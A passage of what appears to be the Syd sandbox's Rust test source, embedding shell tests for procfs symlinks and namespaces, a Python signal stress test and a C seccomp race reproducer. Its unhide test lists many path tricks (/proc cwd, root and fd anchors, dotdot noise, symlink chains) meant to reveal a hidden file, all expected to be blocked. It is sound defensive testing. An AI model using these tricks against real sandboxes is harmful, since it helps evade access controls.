expect_readlink_match "/proc/self/exe absolute" /proc/self/exe '^/.*'
# portable zero-byte read using head -c0
expect_success "read 0 bytes from exe" head -c0 /proc/self/exe
expect_fail "trailing slash on exe is not a dir" stat /proc/self/exe/

expect_is_symlink "/proc/self/cwd is symlink" /proc/self/cwd
PWD_ESC="$(printf '%s' "$PWD" | sed 's/[][\.^$*+?()|{}]/\\&/g')"
expect_readlink_match "/proc/self/cwd equals PWD" /proc/self/cwd "^${PWD_ESC}/?$"
expect_is_dir "/proc/self/cwd/ is dir" /proc/self/cwd/

expect_is_symlink "/proc/self/root is symlink" /proc/self/root
expect_readlink_match "/proc/self/root points to /" /proc/self/root '^/$'
expect_is_dir "/proc/self/root/ is dir" /proc/self/root/

# fd indirection
FD_PATH="/proc/self/fd/$FD_A"
expect_is_symlink "$FD_PATH is symlink" "$FD_PATH"
expect_readlink_match "$FD_PATH ends with a.txt" "$FD_PATH" 'a\.txt$'
expect_match "cat via fd returns content" '^hello$' cat "$FD_PATH"

# deleted file fd shows (deleted)
# on NFSv3 it may show as .nfs${hex}
FDZ_PATH="/proc/self/fd/$FD_Z"
expect_is_symlink "$FDZ_PATH is symlink" "$FDZ_PATH"
expect_readlink_match "$FDZ_PATH shows deleted suffix" "$FDZ_PATH" '( \(deleted\)|.nfs[0-9a-fA-F]+)$'
expect_match "cat deleted fd still readable" '^bye$' cat "$FDZ_PATH"

# fifo behavior
FDF_PATH="/proc/self/fd/$FD_F"
expect_is_symlink "$FDF_PATH is symlink" "$FDF_PATH"
expect_readlink_match "$FDF_PATH points to path" "$FDF_PATH" "^${PWD_ESC}/myfifo$"

# stdio descriptors present
for n in 0 1 2; do
  expect_success "/proc/self/fd has $n" bash -c 'ls /proc/self/fd | grep -qx '"$n"
done

# Namespace helpers
ns_exists() { [[ -e "$1/ns/$2" ]]; }
ns_token()  { _run_store readlink "$1/ns/$2"; }

ns_expect_symlink_and_token() {
  local ctx="$1" ns="$2" label="$3" path="$ctx/ns/$ns"
  if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $path" 2; return; fi
  local base; base="$(ns_token_base "$ns")"
  expect_is_symlink     "$label: symlink $path" "$path"
  expect_readlink_match "$label: token $path"   "$path" "^${base}:\[[0-9]+\]$"
}

ns_expect_read_failers() {
  local ctx="$1" ns="$2" label="$3" path="$ctx/ns/$ns"
  if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $path" 6; return; fi
  expect_fail "$label: dd"    dd   if="$path" of=/dev/null bs=1 count=1 status=none
  expect_fail "$label: cat"   cat  "$path" >/dev/null
  expect_fail "$label: head"  head -c1 "$path"
  expect_fail "$label: wc"    bash -c 'wc -c < "'"$path"'" >/dev/null'
  expect_fail "$label: slash" stat "$path/"
  expect_fail "$label: write" bash -c 'echo X > "'"$path"'"'
}

# Kernel behavior: readlink -f yields "/proc/<pid>[/task/<tid>]/ns/<name_base>:[id]"
# and "stat -L -c %s" prints size 0. Treat both as success conditions.
ns_expect_resolve_behavior() {
  local ctx="$1" ns="$2" label="$3" path="$ctx/ns/$ns"
  if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $path" 2; return; fi
  local base; base="$(ns_token_base "$ns")"
  local re="(^/proc/[0-9]+(/task/[0-9]+)?/ns/|.*/)${base}:\[[0-9]+\]$"
  expect_match "$label: readlink -f" "$re" readlink -f "$path"
  expect_match "$label: stat -L size0" '^0$' stat -L -c %s "$path"
}

ns_expect_variants_equal_token() {
  local ctx="$1" ns="$2" label="$3"
  local base="$ctx/ns/$ns"
  if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $base" 6; return; fi
  local tok s; tok="$(ns_token "$ctx" "$ns")"; s="$(_read_status)"
  if [ "$s" -ne 0 ]; then
    # 6 planned checks -> fail all distinctly so totals stay correct
    notok "$label: base token" "exit $s"
    notok "$label: // variant"  "base token missing"
    notok "$label: /ns//"       "base token missing"
    notok "$label: /// variant" "base token missing"
    notok "$label: ./ variant"  "base token missing"
    notok "$label: ../ variant" "base token missing"
    return
  fi
  local variants=(
    "$ctx//ns/$ns"
    "$ctx/ns//$ns"
    "$ctx///ns///$ns"
    "$ctx/./ns/./$ns"
    "$ctx/ns/../ns/$ns"
    "${ctx%/}/ns/${ns%/}"
  )
  local v t
  for v in "${variants[@]}"; do
    t="$(_run_store readlink "$v")"; s="$(_read_status)"
    if [ "$s" -ne 0 ]; then notok "$label: $(basename "$v")" "exit $s; out: $t"; continue; fi
    expect_same_str "$label: $(basename "$v")" "$t" "$tok"
  done
}

ns_expect_dot_variants_fail() {
  local ctx="$1" ns="$2" label="$3" p="$ctx/ns/$ns"
  if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $p" 2; return; fi
  expect_fail "$label: dot"     stat "$p/."
  expect_fail "$label: dotdot"  bash -c ': > "'"$p/../$ns"'"'
}

ns_expect_tools_fail_min() {
  local ctx="$1" ns="$2" label="$3" p="$ctx/ns/$ns"
  if ! ns_exists "$ctx" "$ns"; then skip_multi "$label: $p" 2; return; fi
  expect_fail "$label: head" head -c1 -- "$p"
  expect_fail "$label: tail" tail -c1 -- "$p"
}

# GROUP A: core symlink+token
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    ns_expect_symlink_and_token "$ctx" "$ns" "A[$ctx][$ns]"
  done
done

# GROUP B: read failers
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    ns_expect_read_failers "$ctx" "$ns" "B[$ctx][$ns]"
  done
done

# GROUP C: resolve behavior
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    ns_expect_resolve_behavior "$ctx" "$ns" "C[$ctx][$ns]"
  done
done

# GROUP D: variant token equality
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    ns_expect_variants_equal_token "$ctx" "$ns" "D[$ctx][$ns]"
  done
done

# GROUP E: dot-variants fail
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    ns_expect_dot_variants_fail "$ctx" "$ns" "E[$ctx][$ns]"
  done
done

# GROUP F: cross-context token-ID equality
pairs=(
  "0 1" "0 2" "0 3"
  "1 2" "1 3" "2 3"
)
for ns in "${NS_KINDS[@]}"; do
  for pr in "${pairs[@]}"; do
    i="${pr% *}"; j="${pr#* }"
    ctxA="${CTX[$i]}"; ctxB="${CTX[$j]}"
    a="$ctxA/ns/$ns"; b="$ctxB/ns/$ns"
    if [[ -e "$a" && -e "$b" ]]; then
      ta="$(ns_token "$ctxA" "$ns")"; sa="$(_read_status)"
      tb="$(ns_token "$ctxB" "$ns")"; sb="$(_read_status)"
      if [ "$sa" -eq 0 ] && [ "$sb" -eq 0 ]; then
        ia="$(ns_token_id "$ta")"; ib="$(ns_token_id "$tb")"
        if [[ -n "$ia" && -n "$ib" ]]; then
          expect_same_str "F[$ns] id ${ctxA##*/}==${ctxB##*/}" "$ia" "$ib"
        else
          skip "F[$ns] missing ids ${ctxA##*/}/${ctxB##*/}"
        fi
      else
        skip "F[$ns] token read failed ${ctxA##*/}/${ctxB##*/}"
      fi
    else
      skip "F[$ns] ${ctxA##*/} vs ${ctxB##*/} missing"
    fi
  done
done

# GROUP G: child==base token-ID eq
for ctx in "${CTX[@]}"; do
  for child in pid_for_children time_for_children; do
    base="$(ns_token_base "$child")"
    pa="$ctx/ns/$child"; pb="$ctx/ns/$base"
    if [[ -e "$pa" && -e "$pb" ]]; then
      ta="$(ns_token "$ctx" "$child")"; sa="$(_read_status)"
      tb="$(ns_token "$ctx" "$base")"; sb="$(_read_status)"
      if [ "$sa" -eq 0 ] && [ "$sb" -eq 0 ]; then
        ia="$(ns_token_id "$ta")"; ib="$(ns_token_id "$tb")"
        if [[ -n "$ia" && -n "$ib" ]]; then
          expect_same_str "G[$ctx][$child==$base] id" "$ia" "$ib"
        else
          skip "G[$ctx][$child] missing id"
        fi
      else
        skip "G[$ctx][$child] token read failed"
      fi
    else
      skip "G[$ctx][$child] missing"
    fi
  done
done

# GROUP H: id positive
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    p="$ctx/ns/$ns"
    if [[ -e "$p" ]]; then
      tok="$(_run_store readlink "$p")"; s="$(_read_status)"
      if [ "$s" -eq 0 ]; then
        id="$(ns_token_id "$tok")"
        [[ -n "$id" && "$id" -gt 0 ]] \
          && ok "H[$ctx][$ns] id>0 ($id)" \
          || notok "H[$ctx][$ns] id>0" "token=$tok"
      else
        notok "H[$ctx][$ns] readlink failed" "exit $s"
      fi
    else
      skip "H[$ctx][$ns] missing"
    fi
  done
done

# GROUP I: trailing-slash existence
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    p="$ctx/ns/$ns"
    if [[ -e "$p" ]]; then
      if [[ -e "$p/" ]]; then
        notok "I[$ctx][$ns] exists with slash" "$p/"
      else
        ok "I[$ctx][$ns] no-exist with slash"
      fi
    else
      skip "I[$ctx][$ns] missing"
    fi
  done
done

# GROUP J: ls -l shows arrow
for ctx in "${CTX[@]}"; do
  nsdir="$ctx/ns"
  if [[ -d "$nsdir" ]]; then
    listing="$(_run_store ls -l "$nsdir")"; _read_status >/dev/null || true
    for ns in "${NS_KINDS[@]}"; do
      p="$nsdir/$ns"
      if [[ -e "$p" ]]; then
        printf "%s" "$listing" | grep -Eq -- "[[:space:]]$ns[[:space:]]->[[:space:]]" \
          && ok "J[$ctx][$ns] ls shows arrow" \
          || notok "J[$ctx][$ns] ls shows arrow" "no '$ns ->' in listing"
      else
        skip "J[$ctx][$ns] missing"
      fi
    done
  else
    for ns in "${NS_KINDS[@]}"; do
      skip "J[$ctx][$ns] ns dir missing"
    done
  fi
done

# GROUP K: tool failers minimal
for ctx in "${CTX[@]}"; do
  for ns in "${NS_KINDS[@]}"; do
    ns_expect_tools_fail_min "$ctx" "$ns" "K[$ctx][$ns]"
  done
done

# GROUP L: core fd/cwd/exe across contexts
FD_PATH_SELF="/proc/self/fd/$FD_A"
FD_PATH_TSELF="/proc/thread-self/fd/$FD_A"
FD_PATH_PID="/proc/$PID/fd/$FD_A"

# exe trailing slash not dir
expect_fail   "L[exe slash] self"        stat /proc/self/exe/
expect_fail   "L[exe slash] thread-self" stat /proc/thread-self/exe/
expect_fail   "L[exe slash] pid"         stat "/proc/$PID/exe/"

# exe open-only zero bytes ok
expect_success "L[exe head0] self"        head -c0 /proc/self/exe
expect_success "L[exe head0] thread-self" head -c0 /proc/thread-self/exe
expect_success "L[exe head0] pid"         head -c0 "/proc/$PID/exe"

# cwd trailing slash is dir
expect_is_dir "L[cwd dir] self"        /proc/self/cwd/
expect_is_dir "L[cwd dir] thread-self" /proc/thread-self/cwd/
expect_is_dir "L[cwd dir] pid"         "/proc/$PID/cwd/"

# fd/<n> trailing slash not dir
expect_fail   "L[fd slash] self"        stat "$FD_PATH_SELF/"
expect_fail   "L[fd slash] thread-self" stat "$FD_PATH_TSELF/"
expect_fail   "L[fd slash] pid"         stat "$FD_PATH_PID/"

# Summary
echo
printf "Total: %d  Pass: %d  Fail: %d  Skip: %d\n" "$TOTAL" "$PASS" "$FAIL" "$SKIP"
exit $(( FAIL > 0 ))
"##;

// Also available at dev/unhide_test.sh
const PATH_UNHIDE_TEST_SCRIPT: &str = r##"
#!/bin/bash
# Comprehensive stat sandbox tests to ensure hidden paths cannot be made visible
# via procfs magic, dot/dotdot traversals, symlinks, or combinations thereof.
#
# Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
# SPDX-License-Identifier: GPL-3.0

set -eu

PASS=0 FAIL=0 SKIP=0
ok()   { PASS=$((PASS+1)); printf "[ ok ] %s\n" "$*"; }
fail() { FAIL=$((FAIL+1)); printf "[fail] %s\n" "$*"; }

must_block() {
  # Hidden target must not be observable via stat -L on the constructed path.
  # Any success means canonicalizer+sandbox let the hidden target “pass through”.
  if stat -L -- "$1" >/dev/null 2>&1; then
    fail "$2 :: visible => $1"
  else
    ok "$2 :: blocked"
  fi
}

# Test layout under current working directory
mkdir -p A B C NEST CHAINF CHAIND MIXD
: > A/secret
: > A/other
: > B/other
: > C/visible

ROOT="$(pwd -P)"
SECRET="${ROOT}/A/secret"

# Hide the file we'll try to unhide everywhere
test -c "/dev/syd/deny/stat+${SECRET}" >/dev/null

# Useful links
ln -sf A             LA   # dir symlink (relative)
ln -sf "${ROOT}/A"   AABS # dir symlink (absolute)
ln -sf "A/secret"    SREL # file symlink (relative to secret)
ln -sf "${SECRET}"   SABS # file symlink (absolute to secret)

# fd anchor for /proc/self/fd/N walking (N -> ".")
exec 9<.

PID="$$"
TSCWD="/proc/thread-self/cwd"
SCWD="/proc/self/cwd"
PCWD="/proc/${PID}/cwd"
FD9="/proc/self/fd/9"
SROOT="/proc/self/root"

echo "-- [1] procfs magic symlinks ------------------------------------------------"

# 1.A: cwd magics with varied suffixes
PFX_LIST="${SCWD} ${PCWD} ${TSCWD}"
for PFX in ${PFX_LIST}; do
  for SFX in \
    "A/secret" "./A/secret" "A/./secret" "A//secret" "././A//secret" \
    "B/../A/secret" "A/../A/secret" "./B/../A/./secret" \
    "A/secret/" "A/./secret/" "B/../A/secret/" \
    "LA/secret" "AABS/secret" "LA/./secret" "AABS/./secret" \
    "LA/../A/secret" "AABS/../A/secret" \
    "SREL" "SABS" "./SREL" "./SABS"
  do
    must_block "${PFX}/${SFX}" "PROC.cwds: ${PFX} + ${SFX}"
  done

  # redundant slashes ladder
  i=1
  while [ $i -le 20 ]; do
    SL=""
    j=1; while [ $j -le $i ]; do SL="${SL}/"; j=$((j+1)); done
    must_block "${PFX}/A${SL}secret" "PROC.slashes: ${PFX} + A${SL}secret"
    i=$((i+1))
  done

  # dotdot normalizations
  for MID in "" "A/.." "B/.." "A/./.." "B/./.." "LA/.." "AABS/.."; do
    must_block "${PFX}/${MID}A/secret" "PROC.dotdot: ${PFX} + ${MID}A/secret"
  done
done

# 1.B: /proc/self/root with absolute paths
ABS_CANDS="
${ROOT}/A/secret
${ROOT}/A/./secret
${ROOT}/A//secret
${ROOT}/B/../A/secret
${ROOT}/A/../A/secret
${ROOT}/./A/secret
${ROOT}//A///secret
${ROOT}/A/secret/
"
for P in $ABS_CANDS; do
  must_block "${SROOT}${P}" "PROC.root: ${P}"
done
i=1
while [ $i -le 30 ]; do
  DOTS=""
  k=1; while [ $k -le $i ]; do DOTS="${DOTS}./"; k=$((k+1)); done
  must_block "${SROOT}${ROOT}/${DOTS}A/secret" "PROC.root.dots($i)"
  i=$((i+1))
done

# 1.C: /proc/self/fd/9 anchor
for s in \
  "A/secret" "./A/secret" "A/./secret" "B/../A/secret" "A/../A/secret" \
  "LA/secret" "AABS/secret" "SREL" "SABS" "LA/./secret" "AABS/./secret"
do
  must_block "${FD9}/${s}" "PROC.fd9: ${s}"
done
i=1
while [ $i -le 30 ]; do
  must_block "${FD9}/./B/../A/././secret" "PROC.fd9.dots-cancel-$i"
  i=$((i+1))
done

echo "-- [2] dot & dotdot group ---------------------------------------------------"

# Pure filesystem traversals (no /proc anchors)

# 2.A: canonical + noise
for P in \
  "A/secret" "./A/secret" ".//A///secret" "A/./secret" "A//secret" \
  "B/../A/secret" "A/../A/secret" "./B/../A/./secret" \
  "A/secret/" "A/./secret/" "B/../A/secret/"
do
  must_block "$P" "DOT: $P"
done

# 2.B: deep dotdot collapses
depth=1
while [ $depth -le 60 ]; do
  PATHP="NEST"
  i=1
  while [ $i -le $depth ]; do
    DN="N${i}"
    mkdir -p "${PATHP}/${DN}"
    PATHP="${PATHP}/${DN}"
    i=$((i+1))
  done

  UP=""
  i=1; while [ $i -le $depth ]; do UP="${UP}../"; i=$((i+1)); done

  must_block "${PATHP}/${UP}A/secret"   "DOTDOT: depth ${depth}"
  must_block "${PATHP}/./${UP}./A/./secret" "DOTDOT+: depth ${depth}"
  depth=$((depth+1))
done

echo "-- [3] symlinks group --------------------------------------------------------"

# 3.A: direct symlink probes
for L in SREL SABS; do
  must_block "$L" "SYMLINK.file: $L"
  must_block "./$L" "SYMLINK.file.dot: ./$L"
done
for D in LA AABS; do
  for suf in "secret" "./secret" "//secret" "././secret"; do
    must_block "${D}/${suf}" "SYMLINK.dir: ${D}/${suf}"
  done
done

# 3.B: file symlink chains L1->...->secret
TARGET="$SECRET"
n=1
while [ $n -le 70 ]; do
  L="CHAINF/L${n}"
  ln -sf "$TARGET" "$L"
  TARGET="$L"
  must_block "CHAINF/L1" "CHAINF.len=${n}"
  n=$((n+1))
done

# 3.C: dir symlink chains DL1->...->A then /secret
DTARGET="${ROOT}/A"
m=1
while [ $m -le 60 ]; do
  D="CHAIND/DL${m}"
  ln -sf "$DTARGET" "$D"
  DTARGET="$D"
  for suf in "secret" "./secret" "//secret" "././secret"; do
    must_block "CHAIND/DL1/${suf}" "CHAIND.len=${m} suf=${suf}"
  done
  m=$((m+1))
done

echo "-- [4] mixed (proc + dotdot + symlinks) -------------------------------------"

# Tighten: hide the directory as well, then try many combinations
test -c "/dev/syd/deny/stat+${ROOT}/A" >/dev/null

# 4.A: proc cwd anchors + dir links + dotdots
for PFX in "${SCWD}" "${PCWD}" "${TSCWD}" "${FD9}" ; do
  for PAT in \
    "LA/secret" "LA/./secret" "LA/../A/secret" \
    "AABS/secret" "AABS/./secret" "AABS/../A/secret" \
    "./B/../LA/secret" "./B/../AABS/secret" \
    "CHAINF/L1" "CHAIND/DL1/secret" \
    "B/../CHAIND/DL1/./secret" \
    "LA//secret" "AABS//secret"
  do
    must_block "${PFX}/${PAT}" "MIX.proc+ln: ${PFX} + ${PAT}"
  done

  # ladder of noise
  i=1
  while [ $i -le 30 ]; do
    must_block "${PFX}/./B/../LA/./secret" "MIX.proc+ln+dots i=$i"
    i=$((i+1))
  done
done

# 4.B: /proc/self/root + absolute + symlink hops
for Q in \
  "${ROOT}/LA/secret" "${ROOT}/LA/./secret" "${ROOT}/LA/../A/secret" \
  "${ROOT}/AABS/secret" "${ROOT}/AABS/./secret" "${ROOT}/AABS/../A/secret" \
  "${ROOT}/CHAINF/L1" "${ROOT}/CHAIND/DL1/secret" \
  "${ROOT}/B/../LA/secret" "${ROOT}//LA///secret" \
  "${ROOT}/./CHAIND/../CHAIND/DL1/./secret"
do
  must_block "${SROOT}${Q}" "MIX.root: ${Q}"
done

# 4.C: proc cwd anchors + file symlinks directly
for PFX in "${SCWD}" "${PCWD}" "${TSCWD}" "${FD9}" ; do
  for L in "SREL" "SABS" "./SREL" "./SABS"; do
    must_block "${PFX}/${L}" "MIX.proc+filelink: ${PFX} + ${L}"
  done
done

# 4.D: stress with growing chains after directory hidden
q=1
while [ $q -le 40 ]; do
  must_block "${SCWD}/CHAINF/L1" "MIX.chainF.after-hide q=$q"
  must_block "${SCWD}/CHAIND/DL1/secret" "MIX.chainD.after-hide q=$q"
  q=$((q+1))
done

# Summary
printf -- "--\nTotal: %d  Pass: %d  Fail: %d  Skip: %d\n" $((PASS+FAIL+SKIP)) "$PASS" "$FAIL" "$SKIP"
[ "$FAIL" -eq 0 ] || exit 1
"##;

// Also available at dev/srop-false-positive-1.py
const SROP_CODE_FALSE_POSITIVE_1: &str = r##"
#!/usr/bin/env python3
# coding: utf-8
#
# srop-false-positive-1: False positive for Syd's SROP detection
# Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
# Based in part upon python's test_signal.py.
# Released under the same license as Python.

import contextlib
import signal
import sys
import threading
import unittest


@contextlib.contextmanager
def catch_unraisable_exception():
    class CM:
        def __init__(self):
            self.unraisable = None

    cm = CM()

    def hook(obj):
        cm.unraisable = obj

    old_hook = sys.unraisablehook
    sys.unraisablehook = hook
    try:
        yield cm
    finally:
        sys.unraisablehook = old_hook


class StressTest(unittest.TestCase):
    """
    Stress signal delivery, especially when a signal arrives in
    the middle of recomputing the signal state or executing
    previously tripped signal handlers.
    """

    @unittest.skipUnless(hasattr(signal, "SIGUSR1"), "test needs SIGUSR1")
    def test_stress_modifying_handlers(self):
        # bpo-43406: race condition between trip_signal() and signal.signal
        signum = signal.SIGUSR1
        num_sent_signals = 0
        num_received_signals = 0
        do_stop = False

        def custom_handler(signum, frame):
            nonlocal num_received_signals
            num_received_signals += 1

        def set_interrupts():
            nonlocal num_sent_signals
            while not do_stop:
                signal.raise_signal(signum)
                num_sent_signals += 1

        def cycle_handlers():
            while num_sent_signals < 100 or num_received_signals < 1:
                for i in range(20000):
                    # Cycle between a Python-defined and a non-Python handler
                    for handler in [custom_handler, signal.SIG_IGN]:
                        signal.signal(signum, handler)

        old_handler = signal.signal(signum, custom_handler)
        self.addCleanup(signal.signal, signum, old_handler)

        t = threading.Thread(target=set_interrupts)
        try:
            ignored = False
            with catch_unraisable_exception() as cm:
                t.start()
                cycle_handlers()
                do_stop = True
                t.join()

                if cm.unraisable is not None:
                    # An unraisable exception may be printed out when
                    # a signal is ignored due to the aforementioned
                    # race condition, check it.
                    self.assertIsInstance(cm.unraisable.exc_value, OSError)
                    self.assertIn(
                        f"Signal {signum:d} ignored due to race condition",
                        str(cm.unraisable.exc_value),
                    )
                    ignored = True

            # bpo-43406: Even if it is unlikely, it's technically possible that
            # all signals were ignored because of race conditions.
            if not ignored:
                # Sanity check that some signals were received, but not all
                self.assertGreater(num_received_signals, 0)
            self.assertLessEqual(num_received_signals, num_sent_signals)
        finally:
            do_stop = True
            t.join()


if __name__ == "__main__":
    unittest.main()
"##;

fn init_srop_false_positive_1() -> bool {
    // Write the python3 code to a temporary file.
    match File::create("srop-false-positive-1") {
        Ok(mut file) => {
            if let Err(e) = file.write_all(SROP_CODE_FALSE_POSITIVE_1.as_bytes()) {
                eprintln!("Failed to write to file srop-false-positive-1: {e}");
                return false;
            }
        }
        Err(e) => {
            eprintln!("Failed to create file srop-false-positive-1: {e}");
            return false;
        }
    }

    if let Err(e) = syd::fs::chmod_x("./srop-false-positive-1") {
        eprintln!("Failed to set srop-false-positive-1 executable: {e}");
        return false;
    }

    true
}

// Also available at dev/kill-eintr.c
fn build_kill_eintr() -> bool {
    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > kill-eintr.c <<EOF
/*
 * dev/kill-eintr.c: seccomp(2) race reproducer
 * Copyright (c) 2025 Ali Polatel <alip@chesswob.org>
 * Based in part upon python's test_signal.py
 * Released under the same license as Python.
 */

#define _POSIX_C_SOURCE 200809L
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <time.h>

void handler(int signum) {}

void setsig(int signum)
{
	struct sigaction sa;
	memset(&sa, 0, sizeof(sa));
	sa.sa_handler = handler;
	sa.sa_flags = 0;
	sigemptyset(&sa.sa_mask);
	if (sigaction(signum, &sa, NULL) == -1) {
		perror("sigaction");
		exit(EXIT_FAILURE);
	}
}

int main(void)
{
	const int N = 10000;
	int i, save_errno;
	pid_t pid = getpid();

	setsig(SIGUSR2);
	setsig(SIGALRM); // for ITIMER_REAL

	struct itimerval it, old_it;
	memset(&it, 0, sizeof(it));
	it.it_value.tv_sec = 0;
	it.it_value.tv_usec = 1; // 1us

	printf("Starting stress test with %d iterations...\n", N);
	for (i = 0; i < N; i++) {
		it.it_value.tv_usec = 1 + (rand() % 10);

		if (setitimer(ITIMER_REAL, &it, &old_it) == -1) {
			save_errno = errno;
			perror("setitimer");
			exit(save_errno);
		}

		if (kill(pid, SIGUSR2) == -1) {
			int save_errno = errno;
			printf("kill failed at iteration %d: %d (%s)\n",
			       i, errno, strerror(errno));
			exit(save_errno);
		}
	}

	printf("Completed %d iterations without EINTR.\n", N);
	return 0;
}
EOF

cc -Wall -Wextra kill-eintr.c -o kill-eintr
    "##,
        )
        .status()
        .expect("execute sh");

    if !status.success() {
        eprintln!("Compilation of kill-eintr failed with status: {status}");
        false
    } else {
        true
    }
}
